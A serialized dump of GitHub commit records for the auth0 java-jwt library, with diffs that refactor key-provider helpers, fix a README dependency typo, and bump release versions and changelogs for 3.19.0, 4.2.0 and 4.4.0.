 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
 import java.math.BigInteger;
-import java.security.*;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.Provider;
+import java.security.SignatureException;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
 import java.util.Base64;
@@ -39,6 +42,29 @@ class ECDSAAlgorithm extends Algorithm {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
+    //Visible for testing
+    static ECDSAKeyProvider providerForKeys(final ECPublicKey publicKey, final ECPrivateKey privateKey) {
+        if (publicKey == null && privateKey == null) {
+            throw new IllegalArgumentException("Both provided Keys cannot be null.");
+        }
+        return new ECDSAKeyProvider() {
+            @Override
+            public ECPublicKey getPublicKeyById(String keyId) {
+                return publicKey;
+            }
+
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        };
+    }
+
     @Override
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         this.verify(jwt, (Provider) null);
@@ -274,27 +300,4 @@ private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
         }
         return (bytes[fromIndex + padding] & 0xff) > 0x7f ? padding - 1 : padding;
     }
-
-    //Visible for testing
-    static ECDSAKeyProvider providerForKeys(final ECPublicKey publicKey, final ECPrivateKey privateKey) {
-        if (publicKey == null && privateKey == null) {
-            throw new IllegalArgumentException("Both provided Keys cannot be null.");
-        }
-        return new ECDSAKeyProvider() {
-            @Override
-            public ECPublicKey getPublicKeyById(String keyId) {
-                return publicKey;
-            }
-
-            @Override
-            public ECPrivateKey getPrivateKey() {
-                return privateKey;
-            }
-
-            @Override
-            public String getPrivateKeyId() {
-                return null;
-            }
-        };
-    }
 }u}(jQ  (051ea63c4833b8dfd43e161c26e1322d0ac9bdf8j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj¼  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=dff64ea5096e68c1021e961a292086076bf9678ejļ  Xt  @@ -74,8 +74,9 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     @Override
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName) throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if(provider==null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.sign(headerBytes, payloadBytes, provider);
     }
@@ -102,8 +103,9 @@ public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
     @Override
     public byte[] sign(byte[] contentBytes, String providerName) throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.sign(contentBytes, provider);
     }u}(jQ  (9ab11a448bf9c23e037f5b3c822ca5ddb3067b7fj  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  Kj  Kj  K4j  https://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj¼  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=dff64ea5096e68c1021e961a292086076bf9678ejļ  X\	  @@ -5,8 +5,10 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
-import java.nio.charset.StandardCharsets;
-import java.security.*;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.Provider;
+import java.security.SignatureException;
 import java.security.interfaces.RSAPrivateKey;
 import java.security.interfaces.RSAPublicKey;
 import java.util.Base64;
@@ -36,6 +38,29 @@ class RSAAlgorithm extends Algorithm {
         this(new CryptoHelper(), id, algorithm, keyProvider);
     }
 
+    //Visible for testing
+    static RSAKeyProvider providerForKeys(final RSAPublicKey publicKey, final RSAPrivateKey privateKey) {
+        if (publicKey == null && privateKey == null) {
+            throw new IllegalArgumentException("Both provided Keys cannot be null.");
+        }
+        return new RSAKeyProvider() {
+            @Override
+            public RSAPublicKey getPublicKeyById(String keyId) {
+                return publicKey;
+            }
+
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        };
+    }
+
     @Override
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         this.verify(jwt, (Provider) null);
@@ -82,27 +107,4 @@ public byte[] sign(byte[] contentBytes, Provider cryptoProvider) throws Signatur
     public String getSigningKeyId() {
         return keyProvider.getPrivateKeyId();
     }
-
-    //Visible for testing
-    static RSAKeyProvider providerForKeys(final RSAPublicKey publicKey, final RSAPrivateKey privateKey) {
-        if (publicKey == null && privateKey == null) {
-            throw new IllegalArgumentException("Both provided Keys cannot be null.");
-        }
-        return new RSAKeyProvider() {
-            @Override
-            public RSAPublicKey getPublicKeyById(String keyId) {
-                return publicKey;
-            }
-
-            @Override
-            public RSAPrivateKey getPrivateKey() {
-                return privateKey;
-            }
-
-            @Override
-            public String getPrivateKeyId() {
-                return null;
-            }
-        };
-    }
 }ueu(77070a82916c7f80274808b294e7bbb6aa0bd0bf}(sha(77070a82916c7f80274808b294e7bbb6aa0bd0bfnode_idEC_kwDOAQtL0doAKDc3MDcwYTgyOTE2YzdmODAyNzQ4MDhiMjk0ZTdiYmI2YWEwYmQwYmYcommit}(author}(name
Jeff Allenemail1103958546+trestletech-dd@users.noreply.github.comdate2022-10-26T20:52:21Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-26T20:52:21ZumessageWFix the spelling of the dependency name

And hopefully spare someone the hour I lost :(tree}(j  (15efe4aadfe28e5baf883113195d12f5f61b4b84url^https://api.github.com/repos/auth0/java-jwt/git/trees/15efe4aadfe28e5baf883113195d12f5f61b4b84uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/77070a82916c7f80274808b294e7bbb6aa0bd0bf
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjWZ4FCRBK7hj4Ov3rIwAA7aMIAAJ9rGZ60Aa31Q+rUGNqE1kx
SXQJRg6AlyWrYzXYDDar3rgQ00F3cBua852qB8oA/7yFiVpUsLyejYsAB7Iu+sqI
TPb/jUh69KYYU3wa+fBTnpOIb304FjfGo6RxDkZYG/nH4nsRHBlQvF+KBtZq3J3H
HUxzACD0ZQ0O55wEe46jtFxalOV+ol9GX9zxB4vyhdSZ5i5A1hq6GTNQhV9ZuGby
hcPSU9s8/ejBzZ+T4dccC6UtgrLPIxVR1dGr/9qPGqCB1j0zUfPTmTmrJ1+DD2uT
ilqrpsSR+2uUqeKchqZIbmpWETHZfsABy2+HA29+AEXvvDpLR6tXm9HroN3/ktM=
=SDmu
-----END PGP SIGNATURE-----
payloadXD  tree 15efe4aadfe28e5baf883113195d12f5f61b4b84
parent d0ebc3f50581f3341a9b214f32612926b8b1a201
author Jeff Allen <103958546+trestletech-dd@users.noreply.github.com> 1666817541 -0500
committer GitHub <noreply@github.com> 1666817541 -0500

Fix the spelling of the dependency name

And hopefully spare someone the hour I lost :(uuj  \https://api.github.com/repos/auth0/java-jwt/commits/77070a82916c7f80274808b294e7bbb6aa0bd0bfhtml_urlQhttps://github.com/auth0/java-jwt/commit/77070a82916c7f80274808b294e7bbb6aa0bd0bfcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/77070a82916c7f80274808b294e7bbb6aa0bd0bf/commentsj  }(logintrestletech-ddidJH2j  U_kgDOBjJIEg
avatar_url5https://avatars.githubusercontent.com/u/103958546?v=4gravatar_idh3j  +https://api.github.com/users/trestletech-ddj  !https://github.com/trestletech-dd
followers_url5https://api.github.com/users/trestletech-dd/followers
following_urlBhttps://api.github.com/users/trestletech-dd/following{/other_user}	gists_url;https://api.github.com/users/trestletech-dd/gists{/gist_id}starred_urlBhttps://api.github.com/users/trestletech-dd/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/trestletech-dd/subscriptionsorganizations_url0https://api.github.com/users/trestletech-dd/orgs	repos_url1https://api.github.com/users/trestletech-dd/repos
events_url<https://api.github.com/users/trestletech-dd/events{/privacy}received_events_url;https://api.github.com/users/trestletech-dd/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j!  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj$  /https://api.github.com/users/web-flow/followersj&  <https://api.github.com/users/web-flow/following{/other_user}j(  5https://api.github.com/users/web-flow/gists{/gist_id}j*  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j,  3https://api.github.com/users/web-flow/subscriptionsj.  *https://api.github.com/users/web-flow/orgsj0  +https://api.github.com/users/web-flow/reposj2  6https://api.github.com/users/web-flow/events{/privacy}j4  5https://api.github.com/users/web-flow/received_eventsj6  Userj8  uparents]}(j  (d0ebc3f50581f3341a9b214f32612926b8b1a201j  \https://api.github.com/repos/auth0/java-jwt/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201j  Qhttps://github.com/auth0/java-jwt/commit/d0ebc3f50581f3341a9b214f32612926b8b1a201uastats}(totalK	additionsK	deletionsKufiles]}(j  (8e634ee659222bf62541cc162ac6ac067391f23efilename	README.mdstatusmodifiedjR  KjS  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/77070a82916c7f80274808b294e7bbb6aa0bd0bf/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/77070a82916c7f80274808b294e7bbb6aa0bd0bf/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=77070a82916c7f80274808b294e7bbb6aa0bd0bfpatch@@ -52,7 +52,7 @@ Add the dependency via Maven:
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:jva-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Create a JWTuau(28cc495b1ce17f51165ce173654e94b25dc5978b}(sha(28cc495b1ce17f51165ce173654e94b25dc5978bnode_idEC_kwDOAQtL0doAKDI4Y2M0OTViMWNlMTdmNTExNjVjZTE3MzY1NGU5NGIyNWRjNTk3OGIcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-19T19:55:51Zu	committer}(jo  Jim Andersonjq  jimranderson@gmail.comjs  2022-10-19T20:04:47Zumessage
Release 4.2.0tree}(jg  (9c2c0b79a23b9643994930ca7ee162afac920343url^https://api.github.com/repos/auth0/java-jwt/git/trees/9c2c0b79a23b9643994930ca7ee162afac920343uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/28cc495b1ce17f51165ce173654e94b25dc5978b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/28cc495b1ce17f51165ce173654e94b25dc5978bhtml_urlQhttps://github.com/auth0/java-jwt/commit/28cc495b1ce17f51165ce173654e94b25dc5978bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/28cc495b1ce17f51165ce173654e94b25dc5978b/commentsjm  }(login
jimmyjamesidJ7 ji  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuju  }(j  
jimmyjamesj  J7 ji  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jg  (49c5def67ab2d37aa98f210bec2ca5ea39889d8cj  \https://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8cj  Qhttps://github.com/auth0/java-jwt/commit/49c5def67ab2d37aa98f210bec2ca5ea39889d8cuastats}(totalK	additionsK	deletionsKufiles](}(jg  (c6c2d511a9e2bec805444dd5e1a075842de77085filenameCHANGELOG.mdstatusmodifiedjǽ  KjȽ  K changesKblob_url\https://github.com/auth0/java-jwt/blob/28cc495b1ce17f51165ce173654e94b25dc5978b/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/28cc495b1ce17f51165ce173654e94b25dc5978b/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=28cc495b1ce17f51165ce173654e94b25dc5978bpatchX   @@ -1,5 +1,17 @@
 # Change Log
 
+## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
+
+**Changed**
+- Re-enable japicmp API diff checking [\#619](https://github.com/auth0/java-jwt/pull/619) ([jimmyjames](https://github.com/jimmyjames))
+- Update .shiprc to only update lib version in build.gradle [\#625](https://github.com/auth0/java-jwt/pull/625) ([jimmyjames](https://github.com/jimmyjames))
+- Optimise TokenUtils parsing [\#611](https://github.com/auth0/java-jwt/pull/611) ([noetro](https://github.com/noetro))
+- Update Circle Ship Orb configuration [\#616](https://github.com/auth0/java-jwt/pull/616) ([frederikprijck](https://github.com/frederikprijck))
+
+**Fixed**
+- Update Claim#asString documentation [\#615](https://github.com/auth0/java-jwt/pull/615) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
 u}(jg  (89b67ad8ab738263dfe5031dacbdf28b7e8a7e41jͽ  	README.mdjϽ  modifiedjǽ  KjȽ  Kjѽ  Kjҽ  Yhttps://github.com/auth0/java-jwt/blob/28cc495b1ce17f51165ce173654e94b25dc5978b/README.mdjԽ  Xhttps://github.com/auth0/java-jwt/raw/28cc495b1ce17f51165ce173654e94b25dc5978b/README.mdjֽ  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=28cc495b1ce17f51165ce173654e94b25dc5978bjؽ  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.1.0'
+implementation 'com.auth0:java-jwt:4.2.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.1.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.1.0</version>
+    <version>4.2.0</version>
 </dependency>
 ```
 u}(jg  (05807472c1d91c52873c0efd3d801993f458b85fjͽ  lib/build.gradlejϽ  modifiedjǽ  KjȽ  Kjѽ  Kjҽ  bhttps://github.com/auth0/java-jwt/blob/28cc495b1ce17f51165ce173654e94b25dc5978b/lib%2Fbuild.gradlejԽ  ahttps://github.com/auth0/java-jwt/raw/28cc495b1ce17f51165ce173654e94b25dc5978b/lib%2Fbuild.gradlejֽ  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=28cc495b1ce17f51165ce173654e94b25dc5978bjؽ  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.1.0"
+    version = "4.2.0"
 }
 
 plugins {ueu(82548a6e7b69ad0c6974519c9ebb313d15237cad}(sha(82548a6e7b69ad0c6974519c9ebb313d15237cadnode_idEC_kwDOAQtL0doAKDgyNTQ4YTZlN2I2OWFkMGM2OTc0NTE5YzllYmIzMTNkMTUyMzdjYWQcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-03-31T18:31:38Zu	committer}(j  GitHubj  noreply@github.comj  2023-03-31T18:31:38ZumessageRelease 4.4.0 (#658)tree}(j  (192393fe6a2baeaf67ed90f362d56471313e5ccdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/192393fe6a2baeaf67ed90f362d56471313e5ccduj  `https://api.github.com/repos/auth0/java-jwt/git/commits/82548a6e7b69ad0c6974519c9ebb313d15237cad
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkJycKCRBK7hj4Ov3rIwAAnN0IABOKTXqaEPudkOUXQZwnk5KY
7Nyk2KxAaJO0DufpbUzLHdhl12+w8LyqhghmMI6z0dITSAALovCAD5t8V4Rw51NA
MrFfMWW9O58hdty+ivNu5X0JxruQL2x++at5nYNOAJPxBmBjAPs8xTo7KlCcDWZJ
hQdmzLhayqT2w46wEA10z7pv7tt52n0o4M/jdX1PhW4JCTzEL+HYhc1e+9jWbSM8
E60YuMQUjgArkhbWHuyveumplkS7FvjhMf0EawCGzN/00IFZW3BkC6YqHyGcWgb1
U48GY+vGleZLQoepkM26SBS6prd3GWhA0+b6JYhu0pnto7BL0SWTgFAeX8gj03c=
=xGhO
-----END PGP SIGNATURE-----
payloadtree 192393fe6a2baeaf67ed90f362d56471313e5ccd
parent 652bf7dac4c10d1213609a2db6fb50815920ac09
author Jim Anderson <jim.anderson@auth0.com> 1680287498 -0500
committer GitHub <noreply@github.com> 1680287498 -0500

Release 4.4.0 (#658)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/82548a6e7b69ad0c6974519c9ebb313d15237cadhtml_urlQhttps://github.com/auth0/java-jwt/commit/82548a6e7b69ad0c6974519c9ebb313d15237cadcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/82548a6e7b69ad0c6974519c9ebb313d15237cad/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj   /https://api.github.com/users/web-flow/followersj"  <https://api.github.com/users/web-flow/following{/other_user}j$  5https://api.github.com/users/web-flow/gists{/gist_id}j&  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j(  3https://api.github.com/users/web-flow/subscriptionsj*  *https://api.github.com/users/web-flow/orgsj,  +https://api.github.com/users/web-flow/reposj.  6https://api.github.com/users/web-flow/events{/privacy}j0  5https://api.github.com/users/web-flow/received_eventsj2  Userj4  uparents]}(j  (652bf7dac4c10d1213609a2db6fb50815920ac09j  \https://api.github.com/repos/auth0/java-jwt/commits/652bf7dac4c10d1213609a2db6fb50815920ac09j  Qhttps://github.com/auth0/java-jwt/commit/652bf7dac4c10d1213609a2db6fb50815920ac09uastats}(totalK	additionsK
	deletionsKufiles](}(j  (1b1e75bd8b229474802046e96e4028de20243a41filenameCHANGELOG.mdstatusmodifiedjN  KjO  K changesKblob_url\https://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadpatchX  @@ -1,5 +1,13 @@
 # Change Log
 
+## [4.4.0](https://github.com/auth0/java-jwt/tree/4.4.0) (2023-03-31)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.3.0...4.4.0)
+
+**Changed**
+- Add support for passing json values for header and payload [\#643](https://github.com/auth0/java-jwt/pull/643) ([andrewrigas](https://github.com/andrewrigas))
+- Preserve insertion order for claims [\#656](https://github.com/auth0/java-jwt/pull/656) ([snago](https://github.com/snago))
+- Update Jackson to 2.14.2 [\#657](https://github.com/auth0/java-jwt/pull/657) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.3.0](https://github.com/auth0/java-jwt/tree/4.3.0) (2023-02-10)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.2...4.3.0)
 u}(j  (9f425898eaef566e9d55c3f84a4bf9653ed4dbbfjT  	README.mdjV  modifiedjN  KjO  KjX  KjY  Yhttps://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/README.mdj[  Xhttps://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/README.mdj]  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadj_  XZ  @@ -50,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.3.0</version>
+  <version>4.4.0</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.3.0'
+implementation 'com.auth0:java-jwt:4.4.0'
 ```
 
 ### Create a JWTueu(1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b}(sha(1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bnode_idEC_kwDOAQtL0doAKDFjM2Y1NTNjMGI0NmM2MmE0YmE1YWU3NmVhMDYxMjdjNTQyM2NlNWIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-14T16:54:09Zu	committer}(js  GitHubju  noreply@github.comjw  2022-03-14T16:54:09ZumessageAMerge pull request #546 from auth0/release-3.19.0

Release 3.19.0tree}(jk  (39e47cbbe3c71518ae9510feaadb5a4cc812a5e5url^https://api.github.com/repos/auth0/java-jwt/git/trees/39e47cbbe3c71518ae9510feaadb5a4cc812a5e5uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiL3MxCRBK7hj4Ov3rIwAAC9YIAB6clcWSGSO4h5hiRoxduNxV
SSjib1y3DI9lUAzndvx9TrF8HjdJAXSlHsEh3FnkMo3ZhH9eSiicqvv0j+Niwc/h
M8mxOqBl/Y02ErIpl5gWmEOmqI7RVPTHZLH+ncj8XIbCXPbzZsljEka1dlUvNIgN
5IAUrapXEyEAqVl3Yza5RjKSXOHRw5nTxfs/cmpAfbp9vl+zjKJiphN0B2k9NpP6
V1CClvFDqfU2jf6yfTCaIWSrMLW8OSE23RZzO5p8f8omGVXeUjji4qUQkA9F78oZ
XEGwVNI0YtV8TDlUQpIOGH0mwHJMT0oY2aeW0btMMmcNKg7opVa3gpEBCFJVYL4=
=LfFu
-----END PGP SIGNATURE-----
payloadXE  tree 39e47cbbe3c71518ae9510feaadb5a4cc812a5e5
parent 212a3cdc3c5a474e88af0dc8445bc78fb0f662a7
parent 986be18ace3a9b8f550cbb6e0674a3880b457b15
author Jim Anderson <jim.anderson@auth0.com> 1647276849 -0500
committer GitHub <noreply@github.com> 1647276849 -0500

Merge pull request #546 from auth0/release-3.19.0

Release 3.19.0uuj  \https://api.github.com/repos/auth0/java-jwt/commits/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bhtml_urlQhttps://github.com/auth0/java-jwt/commit/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b/commentsjq  }(login
jimmyjamesidJ7 jm  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujy  }(j  web-flowj  J/jm  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jk  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7u}(jk  (986be18ace3a9b8f550cbb6e0674a3880b457b15j  \https://api.github.com/repos/auth0/java-jwt/commits/986be18ace3a9b8f550cbb6e0674a3880b457b15j  Qhttps://github.com/auth0/java-jwt/commit/986be18ace3a9b8f550cbb6e0674a3880b457b15uestats}(totalK	additionsK	deletionsKufiles](}(jk  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedjѾ  KjҾ  K changesKblob_url\https://github.com/auth0/java-jwt/blob/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bpatchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
